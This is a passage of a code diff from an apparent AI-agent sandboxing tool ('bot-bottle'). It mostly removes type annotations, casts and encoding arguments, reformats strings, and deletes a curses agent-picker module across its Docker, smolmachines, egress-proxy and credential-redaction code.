provision: Callable[[DockerBottlePlan, str], str | None],
) -> Generator[DockerBottle, None, None]:
"""Build, launch, and provision a Docker bottle via compose.
Teardown on exit."""
@@ -92,7 +92,7 @@ def launch(
def teardown() -> None:
try:
stack.close()
except BaseException as exc: # noqa: W0718 — teardown must not fail
except BaseException as exc:
warn(
f"teardown failed for container {plan.container_name}"
f" (compose-down): {exc!r}"
@@ -218,7 +218,7 @@ def launch(
agent_command=plan.agent_command,
agent_prompt_mode=plan.agent_prompt_mode,
)
bottle.prompt_path = provision(plan, bottle)
bottle._prompt_path = provision(plan, bottle)
# Step 9: yield. exec_agent continues to use `docker exec -it`
# — the agent runs `sleep infinity` per the renderer's
+12 -5
View File
@@ -15,23 +15,30 @@ import subprocess
from pathlib import Path
from ...log import die
# Re-exported for the compose renderer + smolmachines launch step
# (they used to import these from this module before they moved to
# the platform-neutral pipelock module).
from ...pipelock import ( # noqa: F401
PIPELOCK_CA_CERT_IN_CONTAINER,
PIPELOCK_CA_KEY_IN_CONTAINER,
)
# Pipelock image, pinned by digest. The digest is the multi-arch image
# index for ghcr.io/luckypipewrench/pipelock:2.3.0.
PIPELOCK_IMAGE = os.environ.get(
"BOT_BOTTLE_PIPELOCK_IMAGE",
"ghcr.io/luckypipewrench/pipelock@sha256:"
"3b1a39417b98406ddc5dc2d8fcb42865ddc0c68a43d355db55f0f8cb06bc6de9",
"ghcr.io/luckypipewrench/pipelock@sha256:3b1a39417b98406ddc5dc2d8fcb42865ddc0c68a43d355db55f0f8cb06bc6de9",
)
# Listening port for pipelock's forward proxy.
PIPELOCK_PORT = os.environ.get("BOT_BOTTLE_PIPELOCK_PORT", "8888")
# The URL egress dials for its upstream HTTPS_PROXY. egress and pipelock
# share the same container's network namespace inside the sidecar bundle, so
# loopback reaches pipelock directly — no docker DNS aliases involved.
# The URL egress dials for its upstream HTTPS_PROXY. egress and
# pipelock share the same container's network namespace inside the
# sidecar bundle, so loopback reaches pipelock directly — no docker
# DNS aliases involved.
BUNDLE_LOCAL_PIPELOCK_URL = f"http://127.0.0.1:{PIPELOCK_PORT}"
+1 -1
View File
@@ -99,7 +99,7 @@ def fetch_current_yaml(slug: str) -> str:
f"could not fetch pipelock.yaml from {container}: "
f"{(r.stderr or '').strip() or 'container not running?'}"
)
return Path(tmp_path).read_text(encoding="utf-8")
return Path(tmp_path).read_text()
finally:
try:
Path(tmp_path).unlink()
+1 -1
View File
@@ -219,7 +219,7 @@ def resolve_plan(
else Path(__file__).resolve().parent.parent.parent.parent / "Dockerfile.claude"
)
dockerfile_content = (
supervise_dockerfile_path.read_text(encoding="utf-8")
supervise_dockerfile_path.read_text()
if supervise_dockerfile_path.is_file()
else ""
)
+4 -4
View File
@@ -19,7 +19,7 @@ from __future__ import annotations
import subprocess
import sys
from typing import Mapping, cast
from typing import Mapping
from ...agent_provider import PromptMode, prompt_args
from .. import Bottle, ExecResult
@@ -72,7 +72,7 @@ class SmolmachinesBottle(Bottle):
# In-VM path to the agent's prompt file. None when the
# agent declared no prompt (file still exists; we just
# don't pass --append-system-prompt-file).
self.prompt_path = prompt_path
self._prompt_path = prompt_path
# Env vars the agent process needs (HTTPS_PROXY,
# CLAUDE_CODE_OAUTH_TOKEN, manifest-declared bottle env, …).
# Forwarded on every `smolvm machine exec` via `-e K=V`
@@ -93,9 +93,9 @@ class SmolmachinesBottle(Bottle):
agent_tail = ["env", *_env_assignments_for("node", self._guest_env),
self.agent_command]
provider_prompt_args = prompt_args(
cast(PromptMode, self._agent_prompt_mode), self.prompt_path, argv=argv,
self._agent_prompt_mode, self._prompt_path, argv=argv,
)
if cast(PromptMode, self._agent_prompt_mode) == "read_prompt_file":
if self._agent_prompt_mode == "read_prompt_file":
agent_tail += argv
agent_tail += provider_prompt_args
else:
+3 -3
View File
@@ -89,7 +89,7 @@ _SUPERVISE_PORT = SUPERVISE_PORT
def launch(
plan: SmolmachinesBottlePlan,
*,
provision: Callable[[SmolmachinesBottlePlan, "SmolmachinesBottle"], str | None],
provision: Callable[[SmolmachinesBottlePlan, str], str | None],
) -> Generator[SmolmachinesBottle, None, None]:
"""Build + run the bottle and yield a handle; tear everything
down on exit. Errors during bringup unwind any partial state
@@ -120,7 +120,7 @@ def launch(
agent_command=plan.agent_command,
agent_prompt_mode=plan.agent_prompt_mode,
)
bottle.prompt_path = provision(plan, bottle)
bottle._prompt_path = provision(plan, bottle)
yield bottle
finally:
@@ -139,7 +139,7 @@ def _teardown_smolmachines(
teardown_exc: BaseException | None = None
try:
stack.close()
except BaseException as exc: # noqa: W0718 — teardown must not fail
except BaseException as exc:
teardown_exc = exc
warn(f"smolmachines teardown failed: {exc!r}")
bottle = plan.spec.manifest.bottle_for(plan.spec.agent_name)
@@ -42,7 +42,7 @@ import time
import uuid
from contextlib import contextmanager
from dataclasses import dataclass
from typing import Generator
from typing import Iterator
from ...log import die
@@ -61,10 +61,7 @@ REGISTRY_IMAGE = os.environ.get(
# narrow.
CRANE_IMAGE = os.environ.get(
"BOT_BOTTLE_CRANE_IMAGE",
(
"gcr.io/go-containerregistry/crane@sha256:"
"0ae17ecb34315aa7cbff28f6eddee3b7adae0b2f90101260d990804db1eb0084"
),
"gcr.io/go-containerregistry/crane@sha256:0ae17ecb34315aa7cbff28f6eddee3b7adae0b2f90101260d990804db1eb0084",
)
@@ -98,7 +95,7 @@ class RegistryHandle:
@contextmanager
def ephemeral_registry() -> Generator[RegistryHandle, None, None]:
def ephemeral_registry() -> Iterator[RegistryHandle]:
"""Bring up a per-session docker network + a `registry:2.8.3`
container on it (published on a random host port), yield a
`RegistryHandle`, force-remove both on exit.
@@ -208,6 +205,7 @@ def _host_port(name: str) -> int:
return int(port_str)
except ValueError:
die(f"unexpected `docker port` output: {line!r}")
return -1 # unreachable; die() never returns
def _wait_ready(port: int) -> None:
@@ -47,6 +47,7 @@ from __future__ import annotations
import fcntl
import json
import os
import platform
import re
import sqlite3
@@ -176,11 +177,11 @@ def force_allowlist(machine_name: str, allowed_cidrs: list[str]) -> None:
con.close()
def allocate(_slug: str) -> str:
def allocate(slug: str) -> str:
"""Pick the lowest-numbered alias from the pool not already
in use by a running smolmachines bundle. Bails when the pool
is exhausted the caller should report the limit to the
operator. `_slug` is logged for traceability; not otherwise
operator. `slug` is logged for traceability; not otherwise
used (no on-disk reservation, allocation is purely
docker-state-driven).
@@ -195,7 +196,7 @@ def allocate(_slug: str) -> str:
if not _is_macos():
return "127.0.0.1"
_ALLOC_LOCK_PATH.parent.mkdir(parents=True, exist_ok=True)
with open(_ALLOC_LOCK_PATH, "w", encoding="utf-8") as lf:
with open(_ALLOC_LOCK_PATH, "w") as lf:
fcntl.flock(lf, fcntl.LOCK_EX)
return _allocate_locked()
@@ -211,6 +212,7 @@ def _allocate_locked() -> str:
f"Stop a running bottle (`smolvm machine ls --json`) or "
f"raise _POOL_END in loopback_alias.py."
)
return "" # unreachable; die() never returns
def _alias_present(ip: str) -> bool:
@@ -36,14 +36,12 @@ follow-up tracked separately)."""
from __future__ import annotations
import fcntl
import io
import signal
import struct
import subprocess
import sys
import termios
import threading
from types import FrameType
# How long to wait after the main exec starts before pushing the
@@ -69,11 +67,7 @@ def _read_winsize() -> tuple[int, int] | None:
- tmux respawn-pane: tmux sets all three to the pane's PTY.
- non-TTY (someone piped stdin in tests): none are; the
sync just no-ops, which is the right behavior."""
for default_fd, stream in enumerate((sys.stdin, sys.stdout, sys.stderr)):
try:
fd = stream.fileno()
except (AttributeError, io.UnsupportedOperation, OSError):
fd = default_fd
for fd in (sys.stdin.fileno(), sys.stdout.fileno(), sys.stderr.fileno()):
try:
data = fcntl.ioctl(fd, termios.TIOCGWINSZ, b"\x00" * 8)
except OSError:
@@ -129,13 +123,13 @@ def main(argv: list[str]) -> int:
machine = argv[0]
inner = argv[2:]
def sync(_signum: int | None = None, _frame: FrameType | None = None) -> None:
def sync(*_args) -> None:
size = _read_winsize()
if size is None:
return
_push_size(machine, *size)
signal.signal(signal.SIGWINCH, sync) # type: ignore[arg-type]
signal.signal(signal.SIGWINCH, sync)
proc = subprocess.Popen(inner)
# Initial sync is deferred — see _STARTUP_SYNC_DELAY_SEC.
@@ -223,6 +223,7 @@ def bundle_host_port(
f"no port mapping on {host_ip} for {container} "
f"{container_port}/tcp; got: {(result.stdout or '').strip()!r}"
)
return -1 # unreachable; die() never returns
def stop_bundle(slug: str) -> None:
+2 -2
View File
@@ -52,7 +52,7 @@ class SmolvmError(RuntimeError):
pack failed, etc.). Carries the captured stderr for the
operator-facing log line."""
def __init__(self, argv: Sequence[str], result: subprocess.CompletedProcess[str]):
def __init__(self, argv: Sequence[str], result: subprocess.CompletedProcess):
self.argv = list(argv)
self.returncode = result.returncode
self.stdout = result.stdout
@@ -65,7 +65,7 @@ class SmolvmError(RuntimeError):
def _smolvm(*args: str, env: Mapping[str, str] | None = None,
check: bool = True) -> subprocess.CompletedProcess[str]:
check: bool = True) -> subprocess.CompletedProcess:
"""One subprocess call into the smolvm CLI. `check=True`
raises SmolvmError on non-zero; `check=False` returns the
CompletedProcess for the caller to inspect."""
+3 -12
View File
@@ -41,18 +41,9 @@ def usage() -> None:
sys.stderr.write(" info print env, skills, and prompt details for a named agent\n")
sys.stderr.write(" init interactively create a new agent and add it to bot-bottle.json\n")
sys.stderr.write(" list list available agents or active containers\n")
sys.stderr.write(
" resume re-launch a bottle by its identity "
"(continues state from PRD 0016)\n"
)
sys.stderr.write(
" start boot a container for a named agent and "
"attach an interactive session\n"
)
sys.stderr.write(
" supervise view + approve/modify/reject pending supervise "
"proposals (PRD 0013)\n\n"
)
sys.stderr.write(" resume re-launch a bottle by its identity (continues state from PRD 0016)\n")
sys.stderr.write(" start boot a container for a named agent and attach an interactive session\n")
sys.stderr.write(" supervise view + approve/modify/reject pending supervise proposals (PRD 0013)\n\n")
sys.stderr.write(f"Run '{PROG} <command> --help' for command-specific usage.\n")
+1 -1
View File
@@ -14,7 +14,7 @@ REPO_DIR = str(Path(__file__).resolve().parent.parent.parent)
def read_tty_line() -> str:
"""Mirror `IFS= read -r REPLY </dev/tty`. Falls back to stdin."""
try:
with open("/dev/tty", "r", encoding="utf-8") as tty:
with open("/dev/tty", "r") as tty:
return tty.readline().rstrip("\n")
except OSError:
return sys.stdin.readline().rstrip("\n")
+5 -18
View File
@@ -51,8 +51,7 @@ def cmd_init(argv: list[str]) -> int:
die(f"{target_file} exists but is not valid JSON; fix or remove it first")
if agent_name in (existing.get("agents") or {}):
sys.stderr.write(
f'bot-bottle: agent "{agent_name}" already exists in '
f'{target_file}. Overwrite? [y/N] '
f'bot-bottle: agent "{agent_name}" already exists in {target_file}. Overwrite? [y/N] '
)
sys.stderr.flush()
ow = read_tty_line()
@@ -72,10 +71,7 @@ def cmd_init(argv: list[str]) -> int:
# Prompt
print(file=sys.stderr)
info(
"System prompt — enter text, then a lone '.' on its own line to "
"finish (just '.' to leave empty):"
)
info("System prompt — enter text, then a lone '.' on its own line to finish (just '.' to leave empty):")
prompt_lines: list[str] = []
while True:
line = read_tty_line()
@@ -103,10 +99,7 @@ def cmd_init(argv: list[str]) -> int:
if bottle_name in (existing.get("bottles") or {}):
bottle_exists_already = True
info(
f"Bottle '{bottle_name}' already exists in {target_file}; "
f"agent will reference it."
)
info(f"Bottle '{bottle_name}' already exists in {target_file}; agent will reference it.")
else:
info(f"Creating new bottle '{bottle_name}'.")
bottle_env = _prompt_for_env_vars()
@@ -138,14 +131,8 @@ def cmd_init(argv: list[str]) -> int:
def _prompt_for_env_vars() -> dict[str, str]:
print(file=sys.stderr)
info(
"Env vars — enter each var name then its mode. Press Enter with "
"no name to finish."
)
info(
" Modes: secret (prompt at runtime) | interpolated (read from "
"host env) | literal (hardcoded value)"
)
info("Env vars — enter each var name then its mode. Press Enter with no name to finish.")
info(" Modes: secret (prompt at runtime) | interpolated (read from host env) | literal (hardcoded value)")
out: dict[str, str] = {}
while True:
print(file=sys.stderr)
+3 -28
View File
@@ -33,7 +33,6 @@ from ..backend.docker.capability_apply import snapshot_transcript
from ..log import info
from ..manifest import Manifest
from ._common import PROG, USER_CWD, read_tty_line
from . import tui
def cmd_start(argv: list[str]) -> int:
@@ -50,39 +49,15 @@ def cmd_start(argv: list[str]) -> int:
"or 'docker'). Overrides the env var when set."
),
)
parser.add_argument(
"name",
nargs="?",
default=None,
help="agent name defined in bot-bottle.json (omit to pick interactively)",
)
parser.add_argument("name", help="agent name defined in bot-bottle.json")
args = parser.parse_args(argv)
dry_run = args.dry_run or os.environ.get("BOT_BOTTLE_DRY_RUN") == "1"
manifest = Manifest.resolve(USER_CWD)
agent_name: str | None = args.name
if agent_name is None:
agent_name = tui.filter_select(
sorted(manifest.agents.keys()),
title="Select agent",
)
if agent_name is None:
return 0
backend_name: str | None = args.backend
if backend_name is None and "BOT_BOTTLE_BACKEND" not in os.environ:
backend_name = tui.filter_select(
list(known_backend_names()),
title="Select backend",
)
if backend_name is None:
return 0
spec = BottleSpec(
manifest=manifest,
agent_name=agent_name,
agent_name=args.name,
copy_cwd=args.cwd,
user_cwd=USER_CWD,
)
@@ -90,7 +65,7 @@ def cmd_start(argv: list[str]) -> int:
spec,
dry_run=dry_run,
remote_control=args.remote_control,
backend_name=backend_name,
backend_name=args.backend,
)
+8 -8
View File
@@ -263,7 +263,7 @@ def edit_in_editor(content: str, *, suffix: str = ".tmp") -> str | None:
path = f.name
try:
subprocess.run([editor, path], check=False)
with open(path, encoding="utf-8") as f:
with open(path) as f:
edited = f.read()
return edited if edited != content else None
finally:
@@ -296,7 +296,7 @@ def cmd_supervise(argv: list[str]) -> int:
else:
error("supervise exited on a fatal error (no detail captured).")
return e.code if isinstance(e.code, int) else 1
except Exception as e: # noqa: W0718 — catch supervise crash for logging
except Exception as e:
log_path = _write_crash_log(e)
error(f"supervise crashed: {type(e).__name__}: {e}")
error(f"full traceback written to {log_path}")
@@ -354,7 +354,7 @@ def _try_init_green() -> int:
return 0
def _main_loop(stdscr: "curses._CursesWindow") -> None: # type: ignore
def _main_loop(stdscr: "curses._CursesWindow") -> None:
curses.curs_set(0)
stdscr.timeout(_REFRESH_INTERVAL_MS)
green_attr = _try_init_green()
@@ -434,12 +434,12 @@ def _main_loop(stdscr: "curses._CursesWindow") -> None: # type: ignore
def _render(
stdscr: "curses._CursesWindow", # type: ignore
stdscr: "curses._CursesWindow",
pending: list[QueuedProposal],
selected: int,
status_line: str,
*,
green_attr: int = 0, # noqa: F841 — unused, but required by interface
green_attr: int = 0,
) -> None:
stdscr.erase()
h, w = stdscr.getmaxyx()
@@ -488,7 +488,7 @@ def _render(
def _detail_view(
stdscr: "curses._CursesWindow", # type: ignore
stdscr: "curses._CursesWindow",
qp: QueuedProposal,
*,
green_attr: int = 0,
@@ -539,7 +539,7 @@ def _detail_view(
return
def _modify(stdscr: "curses._CursesWindow", qp: QueuedProposal) -> str | None: # type: ignore
def _modify(stdscr: "curses._CursesWindow", qp: QueuedProposal) -> str | None:
"""Suspend curses, open $EDITOR on the proposed file, return edited content."""
suffix = _suffix_for_tool(qp.proposal.tool)
curses.endwin()
@@ -550,7 +550,7 @@ def _modify(stdscr: "curses._CursesWindow", qp: QueuedProposal) -> str | None:
return edited
def _prompt(stdscr: "curses._CursesWindow", label: str) -> str: # type: ignore
def _prompt(stdscr: "curses._CursesWindow", label: str) -> str:
"""One-line input at the bottom of the screen."""
curses.curs_set(1)
h, _ = stdscr.getmaxyx()
-221
View File
@@ -1,221 +0,0 @@
"""tui.py — minimal curses filter-select picker for CLI prompts.
Exposed surface:
filter_select(items, *, title="", tty_path="/dev/tty") -> str | None
Opens /dev/tty directly so the picker works even when stdout/stdin are
redirected. Returns the selected item or None on cancel.
"""
from __future__ import annotations
import curses
import os
import sys
from typing import Any, Optional
def filter_select(
items: list[str],
*,
title: str = "",
tty_path: str = "/dev/tty",
) -> Optional[str]:
"""Render a filter-select picker over *items*.
Returns the selected item string, or ``None`` if the user cancelled
(Esc / ``q`` / Ctrl-C / Ctrl-D) or if the terminal is too small.
The picker opens *tty_path* directly so it works even when
stdout/stdin are redirected.
"""
if not items:
return None
try:
tty_fd = open(tty_path, "r+b", buffering=0)
except OSError:
return None
try:
# Use os.dup() to duplicate the fd so the original file object
# and FileIO in _run_picker each manage independent copies,
# preventing double-close errors.
import os as _os
fd_dup = _os.dup(tty_fd.fileno())
return _run_picker(items, title=title, tty_fd=fd_dup)
finally:
tty_fd.close()
# ---------------------------------------------------------------------------
# Internal implementation
# ---------------------------------------------------------------------------
_KEY_ESC = 27
_KEY_CTRL_C = 3
_KEY_CTRL_D = 4
_KEY_BACKSPACE_WIN = 8
_KEY_ENTER_ALT = 10
_CANCEL_KEYS = frozenset([_KEY_ESC, _KEY_CTRL_C, _KEY_CTRL_D, ord("q")])
def _run_picker(items: list[str], *, title: str, tty_fd: int) -> Optional[str]:
"""Drive a curses session on *tty_fd* and return the picked item."""
# newterm lets us run curses on an arbitrary fd rather than the
# process's controlling tty / stdout — crucial when stdout is piped.
os.environ.setdefault("TERM", "xterm-256color")
# Save / restore the real stdin/stdout so curses newterm can use tty_fd.
orig_stdin = sys.__stdin__
orig_stdout = sys.__stdout__
try:
import io
tty_text = io.TextIOWrapper(io.FileIO(tty_fd, mode='r+'), write_through=True)
sys.__stdin__ = tty_text # type: ignore[assignment]
sys.__stdout__ = tty_text # type: ignore[assignment]
# curses.wrapper calls initscr which honours sys.__stdin__ / __stdout__
# on some builds; use newterm where available.
screen = curses.initscr()
curses.noecho()
curses.cbreak()
screen.keypad(True)
try:
result = _picker_loop(screen, items, title=title)
finally:
screen.keypad(False)
curses.nocbreak()
curses.echo()
curses.endwin()
except Exception: # noqa: W0718 — curses can raise many error types
return None
finally:
sys.__stdin__ = orig_stdin # type: ignore[assignment]
sys.__stdout__ = orig_stdout # type: ignore[assignment]
return result
def _picker_loop(screen: Any, items: list[str], *, title: str) -> Optional[str]:
query = ""
cursor = 0
while True:
filtered = _filter_items(items, query)
# Clamp cursor into the visible list.
if not filtered:
cursor = 0
elif cursor >= len(filtered):
cursor = len(filtered) - 1
try:
_render(screen, filtered, cursor, query=query, title=title)
except curses.error:
# Terminal too small or write error — bail out.
return None
try:
key = screen.getch()
except KeyboardInterrupt:
return None
if key in _CANCEL_KEYS:
return None
if key in (curses.KEY_ENTER, _KEY_ENTER_ALT, ord("\r")):
return filtered[cursor] if filtered else None
if key in (curses.KEY_UP, ord("k")):
if cursor > 0:
cursor -= 1
elif key in (curses.KEY_DOWN, ord("j")):
if cursor < len(filtered) - 1:
cursor += 1
elif key in (curses.KEY_BACKSPACE, _KEY_BACKSPACE_WIN, 127):
query = query[:-1]
# After narrowing the filter, keep cursor in range.
new_filtered = _filter_items(items, query)
if cursor >= len(new_filtered):
cursor = max(0, len(new_filtered) - 1)
elif 32 <= key <= 126:
# Printable ASCII — append to query and reset cursor so the
# top of the newly-filtered list is selected.
query += chr(key)
cursor = 0
def _filter_items(items: list[str], query: str) -> list[str]:
if not query:
return list(items)
q = query.lower()
return [i for i in items if q in i.lower()]
def _render(screen: Any, filtered: list[str], cursor: int, *, query: str, title: str) -> None:
screen.erase()
rows, cols = screen.getmaxyx()
min_rows = 5
if rows < min_rows:
raise curses.error("terminal too small")
row = 0
if title and row < rows - 1:
_addstr_safe(screen, row, 0, title[:cols - 1], curses.A_BOLD)
row += 1
filter_label = f"Filter: {query}"
if row < rows - 1:
_addstr_safe(screen, row, 0, filter_label[:cols - 1])
row += 1
sep = "" * min(cols - 1, 40)
if row < rows - 1:
_addstr_safe(screen, row, 0, sep)
row += 1
list_start = row
# Reserve two rows for separator + help line at bottom.
list_rows = rows - list_start - 2
if list_rows < 1:
return
# Scroll window: keep cursor visible.
scroll = max(0, cursor - list_rows + 1)
visible = filtered[scroll: scroll + list_rows]
for idx, item in enumerate(visible):
abs_idx = scroll + idx
attr = curses.A_REVERSE if abs_idx == cursor else curses.A_NORMAL
prefix = "> " if abs_idx == cursor else " "
line = (prefix + item)[:cols - 1]
if row < rows - 1:
_addstr_safe(screen, row, 0, line, attr)
row += 1
if row < rows - 1:
_addstr_safe(screen, row, 0, sep)
row += 1
help_line = "[↑↓/jk] move [Enter] select [Esc/q] cancel"
if row < rows:
_addstr_safe(screen, min(rows - 1, row), 0, help_line[:cols - 1])
screen.refresh()
def _addstr_safe(screen: Any, row: int, col: int, text: str, attr: int = curses.A_NORMAL) -> None:
try:
screen.addstr(row, col, text, attr)
except curses.error:
pass
@@ -13,10 +13,9 @@ import os
from copy import deepcopy
from datetime import datetime, timezone
from pathlib import Path
from typing import cast
from bot_bottle.log import die
from bot_bottle.util import expand_tilde
from .log import die
from .util import expand_tilde
def codex_auth_path(host_env: dict[str, str] | None = None) -> Path:
@@ -51,8 +50,7 @@ def codex_host_access_token(
tokens = raw.get("tokens")
if not isinstance(tokens, dict):
die(f"codex host credentials: {path} is missing tokens")
tokens_typed = cast(dict[str, object], tokens)
access = tokens_typed.get("access_token")
access = tokens.get("access_token")
if not isinstance(access, str) or not access:
die(
f"codex host credentials: {path} is missing tokens.access_token. "
@@ -107,14 +105,14 @@ def write_codex_dummy_auth_file(
path.chmod(0o600)
def _read_auth_object(path: Path) -> dict[str, object]:
def _read_auth_object(path: Path) -> dict:
try:
raw = json.loads(path.read_text())
except (OSError, json.JSONDecodeError) as e:
die(f"codex host credentials: could not read valid JSON at {path}: {e}")
if not isinstance(raw, dict):
die(f"codex host credentials: {path} must contain a JSON object")
return cast(dict[str, object], raw)
return raw
def _dummy_exp(now: datetime | None, exp_ts: int | None) -> int:
@@ -153,13 +151,11 @@ def _dummy_jwt_from_host(
return _dummy_jwt(now, exp_ts=exp_ts)
if not isinstance(payload, dict):
return _dummy_jwt(now, exp_ts=exp_ts)
return _encode_dummy_jwt(
_redact_jwt_payload(cast(dict[str, object], payload), now=now, exp_ts=exp_ts)
)
return _encode_dummy_jwt(_redact_jwt_payload(payload, now=now, exp_ts=exp_ts))
def _encode_dummy_jwt(payload: dict[str, object]) -> str:
def enc(obj: dict[str, object]) -> str:
def _encode_dummy_jwt(payload: dict) -> str:
def enc(obj: dict) -> str:
raw = json.dumps(obj, separators=(",", ":")).encode()
return base64.urlsafe_b64encode(raw).decode().rstrip("=")
@@ -167,24 +163,23 @@ def _encode_dummy_jwt(payload: dict[str, object]) -> str:
def _redact_jwt_payload(
payload: dict[str, object],
payload: dict,
*,
now: datetime | None = None,
exp_ts: int | None = None,
) -> dict[str, object]:
) -> dict:
out = _redact_claims(payload)
if not isinstance(out, dict):
out = {}
out_typed: dict[str, object] = cast(dict[str, object], out)
out_typed["exp"] = _dummy_exp(now, exp_ts)
out_typed.setdefault("sub", "bot-bottle-placeholder")
return out_typed
out["exp"] = _dummy_exp(now, exp_ts)
out.setdefault("sub", "bot-bottle-placeholder")
return out
def _redact_claims(value: object) -> object:
if isinstance(value, dict):
out: dict[str, object] = {}
for key, inner in cast(dict[str, object], value).items():
for key, inner in value.items():
lower = key.lower()
if key == "https://api.openai.com/profile":
out[key] = _redact_profile_claim(inner)
@@ -212,16 +207,16 @@ def _redact_claims(value: object) -> object:
return "bot-bottle-placeholder"
def _redact_profile_claim(value: object) -> dict[str, object]:
profile = cast(dict[str, object], value) if isinstance(value, dict) else {}
def _redact_profile_claim(value: object) -> dict:
profile = value if isinstance(value, dict) else {}
return {
"email": "bot-bottle@example.invalid",
"email_verified": bool(profile.get("email_verified", True)),
}
def _redact_auth_claim(value: object) -> dict[str, object]:
auth = cast(dict[str, object], value) if isinstance(value, dict) else {}
def _redact_auth_claim(value: object) -> dict:
auth = value if isinstance(value, dict) else {}
out: dict[str, object] = {}
for key, inner in auth.items():
lower = key.lower()
@@ -252,7 +247,7 @@ def _redact_auth_claim(value: object) -> dict[str, object]:
def _redact_codex_auth(
value: object, *, now: datetime | None = None, exp_ts: int | None = None,
) -> object:
auth = cast(dict[str, object], value) if isinstance(value, dict) else {}
auth = value if isinstance(value, dict) else {}
out: dict[str, object] = {}
for key, inner in auth.items():
lower = key.lower()
@@ -274,7 +269,7 @@ def _redact_codex_auth(
def _redact_token_block(
value: object, *, now: datetime | None = None, exp_ts: int | None = None,
) -> dict[str, object]:
tokens = cast(dict[str, object], value) if isinstance(value, dict) else {}
tokens = value if isinstance(value, dict) else {}
out: dict[str, object] = {}
for key, inner in tokens.items():
lower = key.lower()
@@ -311,7 +306,7 @@ def _jwt_exp(token: str) -> datetime | None:
return None
if not isinstance(payload, dict):
return None
exp = cast(dict[str, object], payload).get("exp")
exp = payload.get("exp")
if not isinstance(exp, (int, float)):
return None
return datetime.fromtimestamp(exp, timezone.utc)
+1 -1
View File
@@ -144,7 +144,7 @@ class ClaudeAgentProvider(AgentProvider):
prompt (drives `--append-system-prompt-file`); the file is
copied either way so the path always exists."""
prompt_path = _prompt_path(plan.guest_home)
bottle.cp_in(str(plan.prompt_file), prompt_path) # type: ignore
bottle.cp_in(str(plan.prompt_file), prompt_path)
bottle.exec(
f"chown node:node {prompt_path} && chmod 600 {prompt_path}",
user="root",
+2 -2
View File
@@ -23,7 +23,7 @@ from ...agent_provider import (
AgentProvisionFile,
AgentProvisionPlan,
)
from .codex_auth import codex_host_access_token, write_codex_dummy_auth_file
from ...codex_auth import codex_host_access_token, write_codex_dummy_auth_file
from ...egress import CODEX_HOST_CREDENTIAL_TOKEN_REF, EgressRoute
from ...log import die, info, warn
@@ -189,7 +189,7 @@ class CodexAgentProvider(AgentProvider):
instructions in <path>.` bootstrap (see `prompt_args`); the
file is copied either way so the path always exists."""
prompt_path = _prompt_path(plan.guest_home)
bottle.cp_in(str(plan.prompt_file), prompt_path) # type: ignore
bottle.cp_in(str(plan.prompt_file), prompt_path)
bottle.exec(
f"chown node:node {prompt_path} && chmod 600 {prompt_path}",
user="root",
@@ -117,5 +117,5 @@ def _split_owner_repo(owner_repo: str) -> tuple[str, str]:
def _read_error_body(exc: urllib.error.HTTPError) -> str:
try:
return exc.read().decode("utf-8", errors="replace")
except Exception: # noqa: broad-exception-caught — safely fallback to empty error message
except Exception:
return ""
+4 -4
View File
@@ -25,7 +25,7 @@ flow (PRD 0014) at egress and renames the MCP tool.
from __future__ import annotations
import dataclasses
from abc import ABC
from abc import ABC, abstractmethod
from dataclasses import dataclass
from pathlib import Path
from typing import TYPE_CHECKING
@@ -216,14 +216,14 @@ def egress_token_env_map(
return out
def _route_to_yaml_fields(r: Route) -> dict[str, object]:
def _route_to_yaml_fields(r: Route) -> dict:
"""Return the addon-visible fields for one route.
Single authoritative mapping between EgressRoute (host-side) and
egress_addon_core.Route (sidecar-side). When a field is added to
the addon's Route that must appear in the YAML, add it here and
in egress_addon_core._parse_one together."""
fields: dict[str, object] = {"host": r.host}
fields: dict = {"host": r.host}
if r.auth_scheme and r.token_env:
fields["auth_scheme"] = r.auth_scheme
fields["token_env"] = r.token_env
@@ -252,7 +252,7 @@ def egress_render_routes(
lines.append(f' token_env: "{f["token_env"]}"')
if "path_allowlist" in f:
lines.append(" path_allowlist:")
for p in f["path_allowlist"]: # type: ignore
for p in f["path_allowlist"]:
lines.append(f' - "{p}"')
return "\n".join(lines) + "\n"
+1 -6
View File
@@ -38,12 +38,7 @@ from mitmproxy import http # type: ignore[import-not-found]
# Absolute import (NOT `from .egress_addon_core`) — the
# container drops both files flat into /app/ so they are sibling
# top-level modules to mitmdump's loader, not a package.
from egress_addon_core import ( # type: ignore[import-not-found]
Route,
decide,
is_git_push_request,
load_routes,
)
from egress_addon_core import Route, decide, is_git_push_request, load_routes # type: ignore[import-not-found]
DEFAULT_ROUTES_PATH = "/etc/egress/routes.yaml"
+7 -11
View File
@@ -78,13 +78,11 @@ def parse_routes(payload: object) -> tuple[Route, ...]:
"""
if not isinstance(payload, dict):
raise ValueError("routes payload: top-level must be an object")
payload_dict: dict[str, object] = typing.cast(dict[str, object], payload)
raw: object = payload_dict.get("routes")
raw = payload.get("routes")
if not isinstance(raw, list):
raise ValueError("routes payload: 'routes' must be a list")
raw_list: list[object] = typing.cast(list[object], raw)
out: list[Route] = []
for i, r in enumerate(raw_list):
for i, r in enumerate(raw):
out.append(_parse_one(i, r))
return tuple(out)
@@ -93,17 +91,15 @@ def _parse_one(idx: int, raw: object) -> Route:
label = f"route[{idx}]"
if not isinstance(raw, dict):
raise ValueError(f"{label}: must be an object (got {type(raw).__name__})")
raw_dict: dict[str, object] = typing.cast(dict[str, object], raw)
host: object = raw_dict.get("host")
host = raw.get("host")
if not isinstance(host, str) or not host:
raise ValueError(f"{label}: 'host' must be a non-empty string")
path_allow_raw: object = raw_dict.get("path_allowlist", [])
path_allow_raw = raw.get("path_allowlist", [])
if not isinstance(path_allow_raw, list):
raise ValueError(f"{label} ({host}): 'path_allowlist' must be a list")
path_allow_list: list[object] = typing.cast(list[object], path_allow_raw)
prefixes: list[str] = []
for j, p in enumerate(path_allow_list):
for j, p in enumerate(path_allow_raw):
if not isinstance(p, str):
raise ValueError(
f"{label} ({host}): path_allowlist[{j}] must be a string"
@@ -115,8 +111,8 @@ def _parse_one(idx: int, raw: object) -> Route:
)
prefixes.append(p)
auth_scheme: object = raw_dict.get("auth_scheme", "")
token_env: object = raw_dict.get("token_env", "")
auth_scheme = raw.get("auth_scheme", "")
token_env = raw.get("token_env", "")
if not isinstance(auth_scheme, str):
raise ValueError(f"{label} ({host}): 'auth_scheme' must be a string")
if not isinstance(token_env, str):
+1 -1
View File
@@ -89,7 +89,7 @@ def _read_secret_silent(name: str, prompt_body: str) -> str:
if not (sys.stdin.isatty() or sys.stderr.isatty()):
# Fall back to /dev/tty so this still works when stdin is a pipe.
try:
tty = open("/dev/tty", "r+", encoding="utf-8")
tty = open("/dev/tty", "r+")
except OSError:
die(
